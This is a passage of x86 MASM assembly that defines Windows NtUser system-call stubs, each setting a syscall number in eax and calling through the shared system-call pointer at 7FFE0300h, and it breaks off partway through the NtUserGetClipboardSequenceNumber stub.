NtUserAddClipboardFormatListener ENDP ; ULONG __stdcall NtUserAlterWindowStyle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserAlterWindowStyle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4412 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserAlterWindowStyle ENDP ; ULONG __stdcall NtUserAssociateInputContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserAssociateInputContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4413 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserAssociateInputContext ENDP ; ULONG __stdcall NtUserAttachThreadInput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserAttachThreadInput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4414 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserAttachThreadInput ENDP ; ULONG __stdcall NtUserBeginPaint( ULONG arg_01 , ULONG arg_02 ); NtUserBeginPaint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4415 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserBeginPaint ENDP ; ULONG __stdcall NtUserBitBltSysBmp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserBitBltSysBmp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4416 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserBitBltSysBmp ENDP ; ULONG __stdcall NtUserBlockInput( ULONG arg_01 ); NtUserBlockInput PROC STDCALL arg_01:DWORD mov eax , 4417 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserBlockInput ENDP ; ULONG __stdcall NtUserBuildHimcList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserBuildHimcList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4418 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserBuildHimcList ENDP ; ULONG __stdcall NtUserBuildHwndList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserBuildHwndList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4419 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserBuildHwndList ENDP ; ULONG __stdcall NtUserBuildNameList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserBuildNameList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4420 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserBuildNameList ENDP ; ULONG __stdcall NtUserBuildPropList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserBuildPropList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4421 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserBuildPropList ENDP ; ULONG __stdcall NtUserCallHwnd( ULONG arg_01 , ULONG arg_02 ); NtUserCallHwnd PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4422 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallHwnd ENDP ; ULONG __stdcall NtUserCallHwndLock( ULONG arg_01 , ULONG arg_02 ); NtUserCallHwndLock PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4423 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallHwndLock ENDP ; ULONG __stdcall NtUserCallHwndOpt( ULONG arg_01 , ULONG arg_02 ); NtUserCallHwndOpt PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4424 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallHwndOpt ENDP ; ULONG __stdcall NtUserCallHwndParam( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCallHwndParam PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4425 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCallHwndParam ENDP ; ULONG __stdcall NtUserCallHwndParamLock( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCallHwndParamLock PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4426 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCallHwndParamLock ENDP ; ULONG __stdcall NtUserCallMsgFilter( ULONG arg_01 , ULONG arg_02 ); NtUserCallMsgFilter PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4427 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallMsgFilter ENDP ; ULONG __stdcall NtUserCallNextHookEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserCallNextHookEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4428 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserCallNextHookEx ENDP ; ULONG __stdcall NtUserCallNoParam( ULONG arg_01 ); NtUserCallNoParam PROC STDCALL arg_01:DWORD mov eax , 4429 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCallNoParam ENDP ; ULONG __stdcall NtUserCallOneParam( ULONG arg_01 , ULONG arg_02 ); NtUserCallOneParam PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4430 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallOneParam ENDP ; ULONG __stdcall NtUserCallTwoParam( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCallTwoParam PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4431 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCallTwoParam ENDP ; ULONG __stdcall NtUserChangeClipboardChain( ULONG arg_01 , ULONG arg_02 ); NtUserChangeClipboardChain PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4432 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserChangeClipboardChain ENDP ; ULONG __stdcall NtUserChangeDisplaySettings( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserChangeDisplaySettings PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4433 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserChangeDisplaySettings ENDP ; ULONG __stdcall NtUserGetDisplayConfigBufferSizes( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetDisplayConfigBufferSizes PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4434 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetDisplayConfigBufferSizes ENDP ; ULONG __stdcall NtUserSetDisplayConfig( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserSetDisplayConfig PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4435 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserSetDisplayConfig ENDP ; ULONG __stdcall NtUserQueryDisplayConfig( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserQueryDisplayConfig PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4436 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserQueryDisplayConfig ENDP ; ULONG __stdcall NtUserDisplayConfigGetDeviceInfo( ULONG arg_01 ); NtUserDisplayConfigGetDeviceInfo PROC STDCALL arg_01:DWORD mov eax , 4437 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDisplayConfigGetDeviceInfo ENDP ; ULONG __stdcall NtUserDisplayConfigSetDeviceInfo( ULONG arg_01 ); NtUserDisplayConfigSetDeviceInfo PROC STDCALL arg_01:DWORD mov eax , 4438 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDisplayConfigSetDeviceInfo ENDP ; ULONG __stdcall NtUserCheckAccessForIntegrityLevel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCheckAccessForIntegrityLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4439 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCheckAccessForIntegrityLevel ENDP ; ULONG __stdcall NtUserCheckDesktopByThreadId( ULONG arg_01 ); NtUserCheckDesktopByThreadId PROC STDCALL arg_01:DWORD mov eax , 4440 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCheckDesktopByThreadId ENDP ; ULONG __stdcall NtUserCheckWindowThreadDesktop( ULONG arg_01 , ULONG arg_02 ); NtUserCheckWindowThreadDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4441 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCheckWindowThreadDesktop ENDP ; ULONG __stdcall NtUserCheckMenuItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCheckMenuItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4442 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCheckMenuItem ENDP ; ULONG __stdcall NtUserChildWindowFromPointEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserChildWindowFromPointEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4443 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserChildWindowFromPointEx ENDP ; ULONG __stdcall NtUserClipCursor( ULONG arg_01 ); NtUserClipCursor PROC STDCALL arg_01:DWORD mov eax , 4444 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserClipCursor ENDP ; ULONG __stdcall NtUserCloseClipboard( ); NtUserCloseClipboard PROC STDCALL mov eax , 4445 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserCloseClipboard ENDP ; ULONG __stdcall NtUserCloseDesktop( ULONG arg_01 ); NtUserCloseDesktop PROC STDCALL arg_01:DWORD mov eax , 4446 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCloseDesktop ENDP ; ULONG __stdcall NtUserCloseWindowStation( ULONG arg_01 ); NtUserCloseWindowStation PROC STDCALL arg_01:DWORD mov eax , 4447 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCloseWindowStation ENDP ; ULONG __stdcall NtUserConsoleControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserConsoleControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4448 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserConsoleControl ENDP ; ULONG __stdcall NtUserConvertMemHandle( ULONG arg_01 , ULONG arg_02 ); NtUserConvertMemHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4449 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserConvertMemHandle ENDP ; ULONG __stdcall NtUserCopyAcceleratorTable( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCopyAcceleratorTable PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4450 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCopyAcceleratorTable ENDP ; ULONG __stdcall NtUserCountClipboardFormats( ); NtUserCountClipboardFormats PROC STDCALL mov eax , 4451 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserCountClipboardFormats ENDP ; ULONG __stdcall NtUserCreateAcceleratorTable( ULONG arg_01 , ULONG arg_02 ); NtUserCreateAcceleratorTable PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4452 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCreateAcceleratorTable ENDP ; ULONG __stdcall NtUserCreateCaret( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserCreateCaret PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4453 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserCreateCaret ENDP ; ULONG __stdcall NtUserCreateDesktopEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserCreateDesktopEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4454 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserCreateDesktopEx ENDP ; ULONG __stdcall NtUserCreateInputContext( ULONG arg_01 ); NtUserCreateInputContext PROC STDCALL arg_01:DWORD mov eax , 4455 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCreateInputContext ENDP ; ULONG __stdcall NtUserCreateLocalMemHandle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserCreateLocalMemHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4456 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserCreateLocalMemHandle ENDP ; ULONG __stdcall NtUserCreateWindowEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 ); NtUserCreateWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD mov eax , 4457 mov edx , 7FFE0300h call dword ptr [edx] ret 60 NtUserCreateWindowEx ENDP ; ULONG __stdcall NtUserCreateWindowStation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserCreateWindowStation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4458 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserCreateWindowStation ENDP ; ULONG __stdcall NtUserDdeInitialize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserDdeInitialize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4459 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserDdeInitialize ENDP ; ULONG __stdcall NtUserDeferWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserDeferWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4460 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserDeferWindowPos ENDP ; ULONG __stdcall NtUserDefSetText( ULONG arg_01 , ULONG arg_02 ); NtUserDefSetText PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4461 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserDefSetText ENDP ; ULONG __stdcall NtUserDeleteMenu( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserDeleteMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4462 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserDeleteMenu ENDP ; ULONG __stdcall NtUserDestroyAcceleratorTable( ULONG arg_01 ); NtUserDestroyAcceleratorTable PROC STDCALL arg_01:DWORD mov eax , 4463 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDestroyAcceleratorTable ENDP ; ULONG __stdcall NtUserDestroyCursor( ULONG arg_01 , ULONG arg_02 ); NtUserDestroyCursor PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4464 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserDestroyCursor ENDP ; ULONG __stdcall NtUserDestroyInputContext( ULONG arg_01 ); NtUserDestroyInputContext PROC STDCALL arg_01:DWORD mov eax , 4465 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDestroyInputContext ENDP ; ULONG __stdcall NtUserDestroyMenu( ULONG arg_01 ); NtUserDestroyMenu PROC STDCALL arg_01:DWORD mov eax , 4466 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDestroyMenu ENDP ; ULONG __stdcall NtUserDestroyWindow( ULONG arg_01 ); NtUserDestroyWindow PROC STDCALL arg_01:DWORD mov eax , 4467 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDestroyWindow ENDP ; ULONG __stdcall NtUserDisableThreadIme( ULONG arg_01 ); NtUserDisableThreadIme PROC STDCALL arg_01:DWORD mov eax , 4468 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDisableThreadIme ENDP ; ULONG __stdcall NtUserDispatchMessage( ULONG arg_01 ); NtUserDispatchMessage PROC STDCALL arg_01:DWORD mov eax , 4469 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDispatchMessage ENDP ; ULONG __stdcall NtUserDoSoundConnect( ); NtUserDoSoundConnect PROC STDCALL mov eax , 4470 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserDoSoundConnect ENDP ; ULONG __stdcall NtUserDoSoundDisconnect( ); NtUserDoSoundDisconnect PROC STDCALL mov eax , 4471 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserDoSoundDisconnect ENDP ; ULONG __stdcall NtUserDragDetect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserDragDetect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4472 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserDragDetect ENDP ; ULONG __stdcall NtUserDragObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserDragObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4473 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserDragObject ENDP ; ULONG __stdcall NtUserDrawAnimatedRects( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserDrawAnimatedRects PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4474 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserDrawAnimatedRects ENDP ; ULONG __stdcall NtUserDrawCaption( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserDrawCaption PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4475 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserDrawCaption ENDP ; ULONG __stdcall NtUserDrawCaptionTemp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserDrawCaptionTemp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4476 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserDrawCaptionTemp ENDP ; ULONG __stdcall NtUserDrawIconEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtUserDrawIconEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4477 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtUserDrawIconEx ENDP ; ULONG __stdcall NtUserDrawMenuBarTemp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserDrawMenuBarTemp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4478 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserDrawMenuBarTemp ENDP ; ULONG __stdcall NtUserEmptyClipboard( ); NtUserEmptyClipboard PROC STDCALL mov eax , 4479 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserEmptyClipboard ENDP ; ULONG __stdcall NtUserEnableMenuItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserEnableMenuItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4480 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserEnableMenuItem ENDP ; ULONG __stdcall NtUserEnableScrollBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserEnableScrollBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4481 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserEnableScrollBar ENDP ; ULONG __stdcall NtUserEndDeferWindowPosEx( ULONG arg_01 , ULONG arg_02 ); NtUserEndDeferWindowPosEx PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4482 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserEndDeferWindowPosEx ENDP ; ULONG __stdcall NtUserEndMenu( ); NtUserEndMenu PROC STDCALL mov eax , 4483 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserEndMenu ENDP ; ULONG __stdcall NtUserEndPaint( ULONG arg_01 , ULONG arg_02 ); NtUserEndPaint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4484 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserEndPaint ENDP ; ULONG __stdcall NtUserEnumDisplayDevices( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserEnumDisplayDevices PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4485 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserEnumDisplayDevices ENDP ; ULONG __stdcall NtUserEnumDisplayMonitors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserEnumDisplayMonitors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4486 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserEnumDisplayMonitors ENDP ; ULONG __stdcall NtUserEnumDisplaySettings( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserEnumDisplaySettings PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4487 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserEnumDisplaySettings ENDP ; ULONG __stdcall NtUserEvent( ULONG arg_01 ); NtUserEvent PROC STDCALL arg_01:DWORD mov eax , 4488 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserEvent ENDP ; ULONG __stdcall NtUserExcludeUpdateRgn( ULONG arg_01 , ULONG arg_02 ); NtUserExcludeUpdateRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4489 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserExcludeUpdateRgn ENDP ; ULONG __stdcall NtUserFillWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserFillWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4490 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserFillWindow ENDP ; ULONG __stdcall NtUserFindExistingCursorIcon( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserFindExistingCursorIcon PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4491 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserFindExistingCursorIcon ENDP ; ULONG __stdcall NtUserFindWindowEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserFindWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4492 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserFindWindowEx ENDP ; ULONG __stdcall NtUserFlashWindowEx( ULONG arg_01 ); NtUserFlashWindowEx PROC STDCALL arg_01:DWORD mov eax , 4493 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserFlashWindowEx ENDP ; ULONG __stdcall NtUserFrostCrashedWindow( ULONG arg_01 , ULONG arg_02 ); NtUserFrostCrashedWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4494 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserFrostCrashedWindow ENDP ; ULONG __stdcall NtUserGetAltTabInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserGetAltTabInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4495 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserGetAltTabInfo ENDP ; ULONG __stdcall NtUserGetAncestor( ULONG arg_01 , ULONG arg_02 ); NtUserGetAncestor PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4496 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetAncestor ENDP ; ULONG __stdcall NtUserGetAppImeLevel( ULONG arg_01 ); NtUserGetAppImeLevel PROC STDCALL arg_01:DWORD mov eax , 4497 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetAppImeLevel ENDP ; ULONG __stdcall NtUserGetAsyncKeyState( ULONG arg_01 ); NtUserGetAsyncKeyState PROC STDCALL arg_01:DWORD mov eax , 4498 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetAsyncKeyState ENDP ; ULONG __stdcall NtUserGetAtomName( ULONG arg_01 , ULONG arg_02 ); NtUserGetAtomName PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4499 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetAtomName ENDP ; ULONG __stdcall NtUserGetCaretBlinkTime( ); NtUserGetCaretBlinkTime PROC STDCALL mov eax , 4500 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetCaretBlinkTime ENDP ; ULONG __stdcall NtUserGetCaretPos( ULONG arg_01 ); NtUserGetCaretPos PROC STDCALL arg_01:DWORD mov eax , 4501 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetCaretPos ENDP ; ULONG __stdcall NtUserGetClassInfoEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserGetClassInfoEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4502 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserGetClassInfoEx ENDP ; ULONG __stdcall NtUserGetClassName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetClassName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4503 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetClassName ENDP ; ULONG __stdcall NtUserGetClipboardData( ULONG arg_01 , ULONG arg_02 ); NtUserGetClipboardData PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4504 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetClipboardData ENDP ; ULONG __stdcall NtUserGetClipboardFormatName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetClipboardFormatName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4505 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetClipboardFormatName ENDP ; ULONG __stdcall NtUserGetClipboardOwner( ); NtUserGetClipboardOwner PROC STDCALL mov eax , 4506 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetClipboardOwner ENDP ; ULONG __stdcall NtUserGetClipboardSequenceNumber( ); NtUserGetClipboardSequenceNumber PROC STDCALL mov eax , 4507 mov edx , 